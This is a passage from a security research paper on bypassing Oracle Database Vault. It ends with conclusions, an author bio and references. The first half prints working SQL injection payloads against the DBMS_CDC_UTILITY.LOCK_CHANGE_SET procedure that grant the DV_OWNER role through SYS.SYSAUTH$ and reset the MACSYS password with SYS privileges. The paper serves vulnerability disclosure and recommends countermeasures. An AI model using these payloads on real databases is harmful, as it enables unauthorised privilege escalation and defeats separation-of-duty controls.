So we first create the function SQLI that contains the statements that we want to execute with elevated privileges, in this case we insert a new row in SYS.SYSAUTH$ that is the data dictionary table for grants. By inserting this row we are granting DV_OWNER role to ONEDBA user. In this way ONEDBA becomes a full privileged user for DB Vault. It is important to note that a GRANT DV_OWNER TO ONEDBA statement doesn't work as it is stopped by DB Vault protections even if we run it as the SYS user.

Then we need to execute this SQLI function with the privileges of the SYS user, to do that we exploit the SQL Injection vulnerability in LOCK_CHANGE_SET procedure.

```
CREATE OR REPLACE FUNCTION "ONEDBA"."SQLI" return varchar2
 authid current_user as
 pragma autonomous_transaction;
BEGIN
  execute immediate 'begin insert into sys.sysauth$ values ((select user#
from user$ where name = ''ONEDBA''),(select user# from user$ where name =
''DV_OWNER''),999,null); end;';
  commit;
  return '';
END;
/

EXEC SYS.DBMS_CDC_UTILITY.LOCK_CHANGE_SET('EX01''||ONEDBA.sqli||''');
```

By default only users granted SELECT_CATALOG_ROLE role can execute procedures of DBMS_CDC_UTILITY package and exploit this vulnerability.

Now let's analyze this vulnerability and see what the vulnerable code looks like. For that we can use V$SQLTEXT view to get the vulnerable code that was executed from the SGA Oracle memory. We will look for all SQL text that contains 'EX01', this was a string we use in the exploit above.

```
SELECT PIECE, U.USERNAME, ST.SQL_TEXT FROM V$SQLAREA SA, V$SQLTEXT ST,
DBA_USERS U WHERE SA.ADDRESS = ST.ADDRESS AND SA.HASH_VALUE = ST.HASH_VALUE
AND SA.PARSING_USER_ID = U.USER_ID AND ST.HASH_VALUE IN (select HASH_VALUE
from V$SQLTEXT where SQL_TEXT LIKE '%EX01%') ORDER BY ST.ADDRESS,
ST.HASH_VALUE, ST.PIECE
```

The result of this query shows how the vulnerable code looks like:

```
0   SYS   begin sys.dbms_application_info.set_module(module_name=>'DBMS_CD
1   SYS   C_PUBLISH.ADVANCE',action_name=>'EX01'||ONEDBA.SQLI||'');end;
```

Here we can see that the vulnerable code actually allows to make more than just a function call because the parameter that is used insecurely is inserted inside a PL/SQL block instead of a DML sentence. Therefore we can exploit this vulnerability without the need of an auxiliary function in this way:

```
EXEC SYS.DBMS_CDC_UTILITY.LOCK_CHANGE_SET('''); begin
sys.kupp$proc.change_user(''MACSYS''); end; execute immediate ''alter user
MACSYS identified by anypass''; commit; end;--');
```

Resulting in the following code executed as SYS:

```
begin
sys.dbms_application_info.set_module(module_name=>'DBMS_CDC_PUBLISH.ADVANCE',
action_name=>''); begin sys.kupp$proc.change_user('MACSYS'); end; execute
immediate 'alter user MACSYS identified by anypass'; commit; end;--');end;
```

Conclusions

The first conclusion one could draw from this paper is that Oracle Database Vault is not a perfect product. There are many issues shown that demonstrates that the separation of duty provided can be bypassed but also there are many countermeasures that can be implemented to alleviate these problems. To mention the most important in a condensed way: protect and monitor any Operating System access (as oracle/root user), restrict certain dangerous system privileges even for DBAs, protect MACSYS schema and stay up-to-date with Critical Patch Updates.

Since the first release of Database Vault, I have seen it has been improving in many aspects, including more integration and compatibility with Oracle software and tools, better protection from privileged accounts such as SYS and less need for the use of these kind privileged accounts.

It will be interesting to see how this product evolves during time. I would expect to see more protection from users having system privileges and here I am not referring to just removing the potential dangerous privileges from default roles like DBA but to implement real protections against the misuse of those privileges, probably also some changes in the way a privileged user can get Operating System access and disable Database Vault within a database connection.

About the author

Esteban Martínez Fayó is a security researcher; he has discovered and helped to fix multiple security vulnerabilities in major vendor software products. He specializes in application security and is recognized as the discoverer of most of the vulnerabilities in Oracle server software. Esteban has developed and presented novel database attack techniques at international conferences such as Black Hat and WebSec. Esteban currently works for Argeniss doing information security research and developing security related software solutions.

References

[1] http://www.oracle.com/us/products/database/database-vault-066514.html
[2] http://download.oracle.com/docs/cd/B28359_01/server.111/b31222/toc.htm
[3] http://download.oracle.com/docs/cd/B28359_01/server.111/b31222/cfrealms.htm
[4] http://download.oracle.com/docs/cd/B28359_01/server.111/b31222/cfgfact.htm
[5] http://download.oracle.com/docs/cd/B28359_01/server.111/b31222/cfcmdaut.htm
[6] http://download.oracle.com/docs/cd/B28359_01/server.111/b31222/cfrulset.htm
[7] http://download.oracle.com/docs/cd/B28359_01/server.111/b31222/cfseappr.htm
[8] http://download.oracle.com/docs/cd/B28359_01/server.111/b31222/dvdisabl.htm
[9] http://www.databasesecurity.com/HackingAurora.pdf
[10] http://download.oracle.com/docs/cd/B19306_01/server.102/b25166/guidelines.htm
[11] http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml
[12] http://www.appsecinc.com/resources/alerts/oracle/2008-01.shtml
[13] http://www.appsecinc.com/resources/alerts/oracle/2008-02.shtml

About Argeniss

Argeniss is a small but very dynamic and creative company created in 2005. Argeniss offers information security consulting and software development services in an outsourcing model. More than 5 years of experience and satisfied customers prove Argeniss success.

Contact us

Velez Sarsfield 736 PA

Parana, Entre Rios

Argentina

E-mail: info>.at.<argeniss>.dot.<com

Tel/Fax: +54-343-4316113